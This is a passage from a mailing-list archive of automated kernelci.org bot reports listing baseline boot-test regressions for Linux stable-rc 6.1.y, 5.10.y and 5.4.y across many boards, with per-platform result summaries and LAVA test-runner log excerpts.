Plain log: https://storage.kernelci.org//stable-rc/linux-6.1.y/v6.1.46/x86_64/x86_64_d…
HTML log: https://storage.kernelci.org//stable-rc/linux-6.1.y/v6.1.46/x86_64/x86_64_d…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.login: https://kernelci.org/test/case/id/64dd4b781c490e3bd135b25c
failing since 2 days (last pass: v6.1.45-128-ge73191cf0a0b2, first fail: v6.1.45-150-gdbb92b2240ba)
platform | arch | lab | compiler | defconfig | regressions
-----------------------------+--------+---------------+----------+------------------------------+------------
asus-C436FA-Flip-hatch | x86_64 | lab-collabora | gcc-10 | x86_64_defcon...6-chromebook | 1
Details: https://kernelci.org/test/plan/id/64dd4b34f9137d2f8b35b27d
Results: 6 PASS, 1 FAIL, 0 SKIP
Full config: x86_64_defconfig+x86-chromebook
Compiler: gcc-10 (gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-6.1.y/v6.1.46/x86_64/x86_64_d…
HTML log: https://storage.kernelci.org//stable-rc/linux-6.1.y/v6.1.46/x86_64/x86_64_d…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.bootrr.deferred-probe-empty: https://kernelci.org/test/case/id/64dd4b34f9137d2f8b35b282
failing since 139 days (last pass: v6.1.21, first fail: v6.1.22)
2023-08-16T22:19:20.656377 + set +x
2023-08-16T22:19:20.663350 <8>[ 10.375153] <LAVA_SIGNAL_ENDRUN 0_dmesg 11303639_1.4.2.3.1>
2023-08-16T22:19:20.771519
2023-08-16T22:19:20.873468 / # #export SHELL=/bin/sh
2023-08-16T22:19:20.874263
2023-08-16T22:19:20.975957 / # export SHELL=/bin/sh. /lava-11303639/environment
2023-08-16T22:19:20.976774
2023-08-16T22:19:21.078295 / # . /lava-11303639/environment/lava-11303639/bin/lava-test-runner /lava-11303639/1
2023-08-16T22:19:21.079406
2023-08-16T22:19:21.085608 / # /lava-11303639/bin/lava-test-runner /lava-11303639/1
... (12 line(s) more)
platform | arch | lab | compiler | defconfig | regressions
-----------------------------+--------+---------------+----------+------------------------------+------------
asus-CM1400CXA-dalboz | x86_64 | lab-collabora | gcc-10 | x86_64_defcon...6-chromebook | 1
Details: https://kernelci.org/test/plan/id/64dd4b3af9137d2f8b35b293
Results: 6 PASS, 1 FAIL, 0 SKIP
Full config: x86_64_defconfig+x86-chromebook
Compiler: gcc-10 (gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-6.1.y/v6.1.46/x86_64/x86_64_d…
HTML log: https://storage.kernelci.org//stable-rc/linux-6.1.y/v6.1.46/x86_64/x86_64_d…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.bootrr.deferred-probe-empty: https://kernelci.org/test/case/id/64dd4b3af9137d2f8b35b298
failing since 139 days (last pass: v6.1.21, first fail: v6.1.22)
2023-08-16T22:18:28.439617 + <8>[ 12.071001] <LAVA_SIGNAL_ENDRUN 0_dmesg 11303647_1.4.2.3.1>
2023-08-16T22:18:28.439743 set +x
2023-08-16T22:18:28.543865 / # #
2023-08-16T22:18:28.644389 export SHELL=/bin/sh
2023-08-16T22:18:28.644624 #
2023-08-16T22:18:28.745188 / # export SHELL=/bin/sh. /lava-11303647/environment
2023-08-16T22:18:28.745414
2023-08-16T22:18:28.846024 / # . /lava-11303647/environment/lava-11303647/bin/lava-test-runner /lava-11303647/1
2023-08-16T22:18:28.846288
2023-08-16T22:18:28.850841 / # /lava-11303647/bin/lava-test-runner /lava-11303647/1
... (12 line(s) more)
platform | arch | lab | compiler | defconfig | regressions
-----------------------------+--------+---------------+----------+------------------------------+------------
asus-cx9400-volteer | x86_64 | lab-collabora | gcc-10 | x86_64_defcon...6-chromebook | 1
Details: https://kernelci.org/test/plan/id/64dd4bb4b77cdcbb2b35b1df
Results: 6 PASS, 1 FAIL, 0 SKIP
Full config: x86_64_defconfig+x86-chromebook
Compiler: gcc-10 (gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-6.1.y/v6.1.46/x86_64/x86_64_d…
HTML log: https://storage.kernelci.org//stable-rc/linux-6.1.y/v6.1.46/x86_64/x86_64_d…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.bootrr.deferred-probe-empty: https://kernelci.org/test/case/id/64dd4bb4b77cdcbb2b35b1e4
failing since 139 days (last pass: v6.1.21, first fail: v6.1.22)
2023-08-16T22:20:13.596079 <8>[ 10.397619] <LAVA_SIGNAL_ENDRUN 0_dmesg 11303652_1.4.2.3.1>
2023-08-16T22:20:13.599362 + set +x
2023-08-16T22:20:13.704433 #
2023-08-16T22:20:13.705650
2023-08-16T22:20:13.807364 / # #export SHELL=/bin/sh
2023-08-16T22:20:13.808183
2023-08-16T22:20:13.909674 / # export SHELL=/bin/sh. /lava-11303652/environment
2023-08-16T22:20:13.910780
2023-08-16T22:20:14.012576 / # . /lava-11303652/environment/lava-11303652/bin/lava-test-runner /lava-11303652/1
2023-08-16T22:20:14.013691
... (13 line(s) more)
platform | arch | lab | compiler | defconfig | regressions
-----------------------------+--------+---------------+----------+------------------------------+------------
at91-sama5d4_xplained | arm | lab-baylibre | gcc-10 | multi_v7_defconfig | 1
Details: https://kernelci.org/test/plan/id/64dd4d31abd85fe1b135b24a
Results: 0 PASS, 1 FAIL, 0 SKIP
Full config: multi_v7_defconfig
Compiler: gcc-10 (arm-linux-gnueabihf-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-6.1.y/v6.1.46/arm/multi_v7_de…
HTML log: https://storage.kernelci.org//stable-rc/linux-6.1.y/v6.1.46/arm/multi_v7_de…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.login: https://kernelci.org/test/case/id/64dd4d31abd85fe1b135b24b
new failure (last pass: v6.1.45-150-gdbb92b2240ba)
platform | arch | lab | compiler | defconfig | regressions
-----------------------------+--------+---------------+----------+------------------------------+------------
hp-x360-12b-c...4020-octopus | x86_64 | lab-collabora | gcc-10 | x86_64_defcon...6-chromebook | 1
Details: https://kernelci.org/test/plan/id/64dd4f89c389d6c7f335b269
Results: 6 PASS, 1 FAIL, 0 SKIP
Full config: x86_64_defconfig+x86-chromebook
Compiler: gcc-10 (gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-6.1.y/v6.1.46/x86_64/x86_64_d…
HTML log: https://storage.kernelci.org//stable-rc/linux-6.1.y/v6.1.46/x86_64/x86_64_d…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.bootrr.deferred-probe-empty: https://kernelci.org/test/case/id/64dd4f89c389d6c7f335b26e
failing since 139 days (last pass: v6.1.21, first fail: v6.1.22)
2023-08-16T22:36:44.071848 + set +x
2023-08-16T22:36:44.078516 <8>[ 11.024960] <LAVA_SIGNAL_ENDRUN 0_dmesg 11303634_1.4.2.3.1>
2023-08-16T22:36:44.186727 / # #
2023-08-16T22:36:44.289207 export SHELL=/bin/sh
2023-08-16T22:36:44.290043 #
2023-08-16T22:36:44.391773 / # export SHELL=/bin/sh. /lava-11303634/environment
2023-08-16T22:36:44.392069
2023-08-16T22:36:44.493111 / # . /lava-11303634/environment/lava-11303634/bin/lava-test-runner /lava-11303634/1
2023-08-16T22:36:44.494366
2023-08-16T22:36:44.499130 / # /lava-11303634/bin/lava-test-runner /lava-11303634/1
... (12 line(s) more)
platform | arch | lab | compiler | defconfig | regressions
-----------------------------+--------+---------------+----------+------------------------------+------------
hp-x360-14a-cb0001xx-zork | x86_64 | lab-collabora | gcc-10 | x86_64_defcon...6-chromebook | 1
Details: https://kernelci.org/test/plan/id/64dd4b3ef2e14042f635b1fd
Results: 6 PASS, 1 FAIL, 0 SKIP
Full config: x86_64_defconfig+x86-chromebook
Compiler: gcc-10 (gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-6.1.y/v6.1.46/x86_64/x86_64_d…
HTML log: https://storage.kernelci.org//stable-rc/linux-6.1.y/v6.1.46/x86_64/x86_64_d…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.bootrr.deferred-probe-empty: https://kernelci.org/test/case/id/64dd4b3ef2e14042f635b202
failing since 139 days (last pass: v6.1.21, first fail: v6.1.22)
2023-08-16T22:18:17.486164 + set<8>[ 11.465826] <LAVA_SIGNAL_ENDRUN 0_dmesg 11303654_1.4.2.3.1>
2023-08-16T22:18:17.486247 +x
2023-08-16T22:18:17.590071 / # #
2023-08-16T22:18:17.690626 export SHELL=/bin/sh
2023-08-16T22:18:17.690798 #
2023-08-16T22:18:17.791330 / # export SHELL=/bin/sh. /lava-11303654/environment
2023-08-16T22:18:17.791533
2023-08-16T22:18:17.892070 / # . /lava-11303654/environment/lava-11303654/bin/lava-test-runner /lava-11303654/1
2023-08-16T22:18:17.892347
2023-08-16T22:18:17.896970 / # /lava-11303654/bin/lava-test-runner /lava-11303654/1
... (12 line(s) more)
platform | arch | lab | compiler | defconfig | regressions
-----------------------------+--------+---------------+----------+------------------------------+------------
lenovo-TPad-C13-Yoga-zork | x86_64 | lab-collabora | gcc-10 | x86_64_defcon...6-chromebook | 1
Details: https://kernelci.org/test/plan/id/64dd4b3bf2e14042f635b1d9
Results: 6 PASS, 1 FAIL, 0 SKIP
Full config: x86_64_defconfig+x86-chromebook
Compiler: gcc-10 (gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-6.1.y/v6.1.46/x86_64/x86_64_d…
HTML log: https://storage.kernelci.org//stable-rc/linux-6.1.y/v6.1.46/x86_64/x86_64_d…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.bootrr.deferred-probe-empty: https://kernelci.org/test/case/id/64dd4b3bf2e14042f635b1de
failing since 139 days (last pass: v6.1.21, first fail: v6.1.22)
2023-08-16T22:18:19.486648 + set<8>[ 12.651621] <LAVA_SIGNAL_ENDRUN 0_dmesg 11303667_1.4.2.3.1>
2023-08-16T22:18:19.487235 +x
2023-08-16T22:18:19.595302 / # #
2023-08-16T22:18:19.698135 export SHELL=/bin/sh
2023-08-16T22:18:19.698929 #
2023-08-16T22:18:19.800590 / # export SHELL=/bin/sh. /lava-11303667/environment
2023-08-16T22:18:19.801448
2023-08-16T22:18:19.903181 / # . /lava-11303667/environment/lava-11303667/bin/lava-test-runner /lava-11303667/1
2023-08-16T22:18:19.904537
2023-08-16T22:18:19.909170 / # /lava-11303667/bin/lava-test-runner /lava-11303667/1
... (12 line(s) more)
platform | arch | lab | compiler | defconfig | regressions
-----------------------------+--------+---------------+----------+------------------------------+------------
r8a77960-ulcb | arm64 | lab-collabora | gcc-10 | defconfig | 1
Details: https://kernelci.org/test/plan/id/64dd4b63f2e14042f635b28b
Results: 4 PASS, 2 FAIL, 1 SKIP
Full config: defconfig
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-6.1.y/v6.1.46/arm64/defconfig…
HTML log: https://storage.kernelci.org//stable-rc/linux-6.1.y/v6.1.46/arm64/defconfig…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.bootrr.deferred-probe-empty: https://kernelci.org/test/case/id/64dd4b63f2e14042f635b290
failing since 30 days (last pass: v6.1.38-393-gb6386e7314b4, first fail: v6.1.38-590-gce7ec1011187)
2023-08-16T22:20:42.766684 / # #
2023-08-16T22:20:42.869318 export SHELL=/bin/sh
2023-08-16T22:20:42.870048 #
2023-08-16T22:20:42.971416 / # export SHELL=/bin/sh. /lava-11303687/environment
2023-08-16T22:20:42.972178
2023-08-16T22:20:43.073601 / # . /lava-11303687/environment/lava-11303687/bin/lava-test-runner /lava-11303687/1
2023-08-16T22:20:43.074801
2023-08-16T22:20:43.089975 / # /lava-11303687/bin/lava-test-runner /lava-11303687/1
2023-08-16T22:20:43.139976 + export 'TESTRUN_ID=1_bootrr'
2023-08-16T22:20:43.140545 + cd /lav<8>[ 19.114999] <LAVA_SIGNAL_STARTRUN 1_bootrr 11303687_1.5.2.4.5>
... (28 line(s) more)
platform | arch | lab | compiler | defconfig | regressions
-----------------------------+--------+---------------+----------+------------------------------+------------
r8a779m1-ulcb | arm64 | lab-collabora | gcc-10 | defconfig | 1
Details: https://kernelci.org/test/plan/id/64dd4b9f97a67da7bb35b1e0
Results: 5 PASS, 1 FAIL, 1 SKIP
Full config: defconfig
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-6.1.y/v6.1.46/arm64/defconfig…
HTML log: https://storage.kernelci.org//stable-rc/linux-6.1.y/v6.1.46/arm64/defconfig…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.bootrr.deferred-probe-empty: https://kernelci.org/test/case/id/64dd4b9f97a67da7bb35b1e5
failing since 30 days (last pass: v6.1.38-393-gb6386e7314b4, first fail: v6.1.38-590-gce7ec1011187)
2023-08-16T22:20:56.924978 / # #
2023-08-16T22:20:58.005487 export SHELL=/bin/sh
2023-08-16T22:20:58.007330 #
2023-08-16T22:20:59.498584 / # export SHELL=/bin/sh. /lava-11303688/environment
2023-08-16T22:20:59.500350
2023-08-16T22:21:02.224696 / # . /lava-11303688/environment/lava-11303688/bin/lava-test-runner /lava-11303688/1
2023-08-16T22:21:02.227006
2023-08-16T22:21:02.234674 / # /lava-11303688/bin/lava-test-runner /lava-11303688/1
2023-08-16T22:21:02.295111 + export 'TESTRUN_ID=1_bootrr'
2023-08-16T22:21:02.295603 + cd /lava-113036<8>[ 28.505343] <LAVA_SIGNAL_STARTRUN 1_bootrr 11303688_1.5.2.4.5>
... (39 line(s) more)
platform | arch | lab | compiler | defconfig | regressions
-----------------------------+--------+---------------+----------+------------------------------+------------
sun50i-h6-pine-h64 | arm64 | lab-collabora | gcc-10 | defconfig | 1
Details: https://kernelci.org/test/plan/id/64dd4b791c490e3bd135b25e
Results: 5 PASS, 1 FAIL, 1 SKIP
Full config: defconfig
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-6.1.y/v6.1.46/arm64/defconfig…
HTML log: https://storage.kernelci.org//stable-rc/linux-6.1.y/v6.1.46/arm64/defconfig…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.bootrr.deferred-probe-empty: https://kernelci.org/test/case/id/64dd4b791c490e3bd135b263
failing since 30 days (last pass: v6.1.38-393-gb6386e7314b4, first fail: v6.1.38-590-gce7ec1011187)
2023-08-16T22:20:56.285547 / # #
2023-08-16T22:20:56.387677 export SHELL=/bin/sh
2023-08-16T22:20:56.388394 #
2023-08-16T22:20:56.489784 / # export SHELL=/bin/sh. /lava-11303684/environment
2023-08-16T22:20:56.490501
2023-08-16T22:20:56.591951 / # . /lava-11303684/environment/lava-11303684/bin/lava-test-runner /lava-11303684/1
2023-08-16T22:20:56.593101
2023-08-16T22:20:56.609689 / # /lava-11303684/bin/lava-test-runner /lava-11303684/1
2023-08-16T22:20:56.674578 + export 'TESTRUN_ID=1_bootrr'
2023-08-16T22:20:56.674743 + cd /lava-1130368<8>[ 18.699007] <LAVA_SIGNAL_STARTRUN 1_bootrr 11303684_1.5.2.4.5>
... (11 line(s) more)
2 years, 4 months
- 1
- 0
stable-rc/linux-5.10.y baseline: 119 runs, 8 regressions (v5.10.191)
by kernelci.org bot
stable-rc/linux-5.10.y baseline: 119 runs, 8 regressions (v5.10.191)
Regressions Summary
-------------------
platform | arch | lab | compiler | defconfig | regressions
-------------------------+--------+---------------+----------+------------------------------+------------
at91-sama5d4_xplained | arm | lab-baylibre | gcc-10 | multi_v7_defconfig | 1
cubietruck | arm | lab-baylibre | gcc-10 | multi_v7_defconfig | 1
fsl-ls2088a-rdb | arm64 | lab-nxp | gcc-10 | defconfig | 1
fsl-lx2160a-rdb | arm64 | lab-nxp | gcc-10 | defconfig | 1
hp-x360-14-G1-sona | x86_64 | lab-collabora | gcc-10 | x86_64_defcon...6-chromebook | 1
r8a774a1-hihope-rzg2m-ex | arm64 | lab-cip | gcc-10 | defconfig+arm64-chromebook | 1
r8a77960-ulcb | arm64 | lab-collabora | gcc-10 | defconfig | 1
sun50i-h6-pine-h64 | arm64 | lab-collabora | gcc-10 | defconfig | 1
Details: https://kernelci.org/test/job/stable-rc/branch/linux-5.10.y/kernel/v5.10.19…
Test: baseline
Tree: stable-rc
Branch: linux-5.10.y
Describe: v5.10.191
URL: https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux-stable-rc.git
SHA: da742ebfa00c3add4a358dd79ec92161c07e1435
Test Regressions
----------------
platform | arch | lab | compiler | defconfig | regressions
-------------------------+--------+---------------+----------+------------------------------+------------
at91-sama5d4_xplained | arm | lab-baylibre | gcc-10 | multi_v7_defconfig | 1
Details: https://kernelci.org/test/plan/id/64dd426a9af31c896035b1e0
Results: 0 PASS, 1 FAIL, 0 SKIP
Full config: multi_v7_defconfig
Compiler: gcc-10 (arm-linux-gnueabihf-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-5.10.y/v5.10.191/arm/multi_v7…
HTML log: https://storage.kernelci.org//stable-rc/linux-5.10.y/v5.10.191/arm/multi_v7…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.login: https://kernelci.org/test/case/id/64dd426a9af31c896035b1e1
new failure (last pass: v5.10.190-69-g5b1776cc14bf8)
platform | arch | lab | compiler | defconfig | regressions
-------------------------+--------+---------------+----------+------------------------------+------------
cubietruck | arm | lab-baylibre | gcc-10 | multi_v7_defconfig | 1
Details: https://kernelci.org/test/plan/id/64dd418d5f3751648035b215
Results: 5 PASS, 1 FAIL, 1 SKIP
Full config: multi_v7_defconfig
Compiler: gcc-10 (arm-linux-gnueabihf-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-5.10.y/v5.10.191/arm/multi_v7…
HTML log: https://storage.kernelci.org//stable-rc/linux-5.10.y/v5.10.191/arm/multi_v7…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.bootrr.deferred-probe-empty: https://kernelci.org/test/case/id/64dd418d5f3751648035b21a
failing since 210 days (last pass: v5.10.158-107-gd2432186ff47, first fail: v5.10.162-852-geeaac3cf2eb3)
2023-08-16T21:37:08.315258 <8>[ 11.149507] <LAVA_SIGNAL_ENDRUN 0_dmesg 3744026_1.5.2.4.1>
2023-08-16T21:37:08.428915 / # #
2023-08-16T21:37:08.532510 export SHELL=/bin/sh
2023-08-16T21:37:08.533501 #
2023-08-16T21:37:08.635746 / # export SHELL=/bin/sh. /lava-3744026/environment
2023-08-16T21:37:08.636710
2023-08-16T21:37:08.637183 / # . /lava-3744026/environment<3>[ 11.452689] Bluetooth: hci0: command 0xfc18 tx timeout
2023-08-16T21:37:08.739141 /lava-3744026/bin/lava-test-runner /lava-3744026/1
2023-08-16T21:37:08.740583
2023-08-16T21:37:08.745112 / # /lava-3744026/bin/lava-test-runner /lava-3744026/1
... (12 line(s) more)
platform | arch | lab | compiler | defconfig | regressions
-------------------------+--------+---------------+----------+------------------------------+------------
fsl-ls2088a-rdb | arm64 | lab-nxp | gcc-10 | defconfig | 1
Details: https://kernelci.org/test/plan/id/64dd424bf776fbfd0235b253
Results: 5 PASS, 1 FAIL, 1 SKIP
Full config: defconfig
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-5.10.y/v5.10.191/arm64/defcon…
HTML log: https://storage.kernelci.org//stable-rc/linux-5.10.y/v5.10.191/arm64/defcon…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.bootrr.deferred-probe-empty: https://kernelci.org/test/case/id/64dd424bf776fbfd0235b256
failing since 29 days (last pass: v5.10.142, first fail: v5.10.186-332-gf98a4d3a5cec)
2023-08-16T21:40:04.914090 + [ 9.437463] <LAVA_SIGNAL_ENDRUN 0_dmesg 1244341_1.5.2.4.1>
2023-08-16T21:40:04.914202 set +x
2023-08-16T21:40:05.016952
2023-08-16T21:40:05.117746 / # #export SHELL=/bin/sh
2023-08-16T21:40:05.118062
2023-08-16T21:40:05.218655 / # export SHELL=/bin/sh. /lava-1244341/environment
2023-08-16T21:40:05.218933
2023-08-16T21:40:05.319555 / # . /lava-1244341/environment/lava-1244341/bin/lava-test-runner /lava-1244341/1
2023-08-16T21:40:05.319938
2023-08-16T21:40:05.324095 / # /lava-1244341/bin/lava-test-runner /lava-1244341/1
... (12 line(s) more)
platform | arch | lab | compiler | defconfig | regressions
-------------------------+--------+---------------+----------+------------------------------+------------
fsl-lx2160a-rdb | arm64 | lab-nxp | gcc-10 | defconfig | 1
Details: https://kernelci.org/test/plan/id/64dd429cd39fe2704135b1d9
Results: 5 PASS, 1 FAIL, 1 SKIP
Full config: defconfig
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-5.10.y/v5.10.191/arm64/defcon…
HTML log: https://storage.kernelci.org//stable-rc/linux-5.10.y/v5.10.191/arm64/defcon…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.bootrr.deferred-probe-empty: https://kernelci.org/test/case/id/64dd429cd39fe2704135b1dc
failing since 166 days (last pass: v5.10.155, first fail: v5.10.172)
2023-08-16T21:41:36.542510 [ 15.325552] <LAVA_SIGNAL_ENDRUN 0_dmesg 1244342_1.5.2.4.1>
2023-08-16T21:41:36.647781
2023-08-16T21:41:36.749012 / # #export SHELL=/bin/sh
2023-08-16T21:41:36.749453
2023-08-16T21:41:36.850444 / # export SHELL=/bin/sh. /lava-1244342/environment
2023-08-16T21:41:36.850908
2023-08-16T21:41:36.951945 / # . /lava-1244342/environment/lava-1244342/bin/lava-test-runner /lava-1244342/1
2023-08-16T21:41:36.952685
2023-08-16T21:41:36.956583 / # /lava-1244342/bin/lava-test-runner /lava-1244342/1
2023-08-16T21:41:36.971577 + export 'TESTRUN_ID=1_bootrr'
... (11 line(s) more)
platform | arch | lab | compiler | defconfig | regressions
-------------------------+--------+---------------+----------+------------------------------+------------
hp-x360-14-G1-sona | x86_64 | lab-collabora | gcc-10 | x86_64_defcon...6-chromebook | 1
Details: https://kernelci.org/test/plan/id/64dd405c074ff3c0b935b1e5
Results: 6 PASS, 1 FAIL, 0 SKIP
Full config: x86_64_defconfig+x86-chromebook
Compiler: gcc-10 (gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-5.10.y/v5.10.191/x86_64/x86_6…
HTML log: https://storage.kernelci.org//stable-rc/linux-5.10.y/v5.10.191/x86_64/x86_6…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.bootrr.deferred-probe-empty: https://kernelci.org/test/case/id/64dd405c074ff3c0b935b1ea
failing since 141 days (last pass: v5.10.176, first fail: v5.10.176-105-g18265b240021)
2023-08-16T21:32:14.494284 + set +x
2023-08-16T21:32:14.500888 <8>[ 13.117903] <LAVA_SIGNAL_ENDRUN 0_dmesg 11303177_1.4.2.3.1>
2023-08-16T21:32:14.602585 #
2023-08-16T21:32:14.603030
2023-08-16T21:32:14.703728 / # #export SHELL=/bin/sh
2023-08-16T21:32:14.703963
2023-08-16T21:32:14.804548 / # export SHELL=/bin/sh. /lava-11303177/environment
2023-08-16T21:32:14.804761
2023-08-16T21:32:14.905266 / # . /lava-11303177/environment/lava-11303177/bin/lava-test-runner /lava-11303177/1
2023-08-16T21:32:14.905698
... (13 line(s) more)
platform | arch | lab | compiler | defconfig | regressions
-------------------------+--------+---------------+----------+------------------------------+------------
r8a774a1-hihope-rzg2m-ex | arm64 | lab-cip | gcc-10 | defconfig+arm64-chromebook | 1
Details: https://kernelci.org/test/plan/id/64dd4a9bbd26d1074535b1e2
Results: 5 PASS, 1 FAIL, 1 SKIP
Full config: defconfig+arm64-chromebook
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-5.10.y/v5.10.191/arm64/defcon…
HTML log: https://storage.kernelci.org//stable-rc/linux-5.10.y/v5.10.191/arm64/defcon…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.bootrr.deferred-probe-empty: https://kernelci.org/test/case/id/64dd4a9bbd26d1074535b1e5
failing since 29 days (last pass: v5.10.186-221-gf178eace6e074, first fail: v5.10.186-332-gf98a4d3a5cec)
2023-08-16T22:15:25.174552 + set +x
2023-08-16T22:15:25.174784 <8>[ 83.683381] <LAVA_SIGNAL_ENDRUN 0_dmesg 998316_1.5.2.4.1>
2023-08-16T22:15:25.280947 / # #
2023-08-16T22:15:26.741699 export SHELL=/bin/sh
2023-08-16T22:15:26.762240 #
2023-08-16T22:15:26.762451 / # export SHELL=/bin/sh
2023-08-16T22:15:28.645902 / # . /lava-998316/environment
2023-08-16T22:15:32.099577 /lava-998316/bin/lava-test-runner /lava-998316/1
2023-08-16T22:15:32.120179 . /lava-998316/environment
2023-08-16T22:15:32.120300 / # /lava-998316/bin/lava-test-runner /lava-998316/1
... (28 line(s) more)
platform | arch | lab | compiler | defconfig | regressions
-------------------------+--------+---------------+----------+------------------------------+------------
r8a77960-ulcb | arm64 | lab-collabora | gcc-10 | defconfig | 1
Details: https://kernelci.org/test/plan/id/64dd4218a2a8982ac835b1dc
Results: 4 PASS, 2 FAIL, 1 SKIP
Full config: defconfig
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-5.10.y/v5.10.191/arm64/defcon…
HTML log: https://storage.kernelci.org//stable-rc/linux-5.10.y/v5.10.191/arm64/defcon…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.bootrr.deferred-probe-empty: https://kernelci.org/test/case/id/64dd4218a2a8982ac835b1e1
failing since 29 days (last pass: v5.10.186-221-gf178eace6e074, first fail: v5.10.186-332-gf98a4d3a5cec)
2023-08-16T21:40:54.429215 / # #
2023-08-16T21:40:54.530934 export SHELL=/bin/sh
2023-08-16T21:40:54.531594 #
2023-08-16T21:40:54.632756 / # export SHELL=/bin/sh. /lava-11303317/environment
2023-08-16T21:40:54.633449
2023-08-16T21:40:54.734704 / # . /lava-11303317/environment/lava-11303317/bin/lava-test-runner /lava-11303317/1
2023-08-16T21:40:54.735735
2023-08-16T21:40:54.737990 / # /lava-11303317/bin/lava-test-runner /lava-11303317/1
2023-08-16T21:40:54.801174 + export 'TESTRUN_ID=1_bootrr'
2023-08-16T21:40:54.801649 + cd /lav<8>[ 16.425842] <LAVA_SIGNAL_STARTRUN 1_bootrr 11303317_1.5.2.4.5>
... (28 line(s) more)
platform | arch | lab | compiler | defconfig | regressions
-------------------------+--------+---------------+----------+------------------------------+------------
sun50i-h6-pine-h64 | arm64 | lab-collabora | gcc-10 | defconfig | 1
Details: https://kernelci.org/test/plan/id/64dd421a461736367d35b27b
Results: 5 PASS, 1 FAIL, 1 SKIP
Full config: defconfig
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-5.10.y/v5.10.191/arm64/defcon…
HTML log: https://storage.kernelci.org//stable-rc/linux-5.10.y/v5.10.191/arm64/defcon…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.bootrr.deferred-probe-empty: https://kernelci.org/test/case/id/64dd421a461736367d35b280
failing since 29 days (last pass: v5.10.186-221-gf178eace6e074, first fail: v5.10.186-332-gf98a4d3a5cec)
2023-08-16T21:41:08.445230 / # #
2023-08-16T21:41:08.547346 export SHELL=/bin/sh
2023-08-16T21:41:08.548069 #
2023-08-16T21:41:08.649483 / # export SHELL=/bin/sh. /lava-11303322/environment
2023-08-16T21:41:08.650238
2023-08-16T21:41:08.751686 / # . /lava-11303322/environment/lava-11303322/bin/lava-test-runner /lava-11303322/1
2023-08-16T21:41:08.752684
2023-08-16T21:41:08.769673 / # /lava-11303322/bin/lava-test-runner /lava-11303322/1
2023-08-16T21:41:08.827705 + export 'TESTRUN_ID=1_bootrr'
2023-08-16T21:41:08.828196 + cd /lava-1130332<8>[ 18.323384] <LAVA_SIGNAL_STARTRUN 1_bootrr 11303322_1.5.2.4.5>
... (10 line(s) more)
2 years, 4 months
- 1
- 0
stable-rc/linux-5.4.y baseline: 110 runs, 22 regressions (v5.4.254)
by kernelci.org bot
stable-rc/linux-5.4.y baseline: 110 runs, 22 regressions (v5.4.254)
Regressions Summary
-------------------
platform | arch | lab | compiler | defconfig | regressions
-----------------------------+--------+---------------+----------+------------------------------+------------
cubietruck | arm | lab-baylibre | gcc-10 | multi_v7_defconfig | 1
hifive-unleashed-a00 | riscv | lab-baylibre | gcc-10 | defconfig | 1
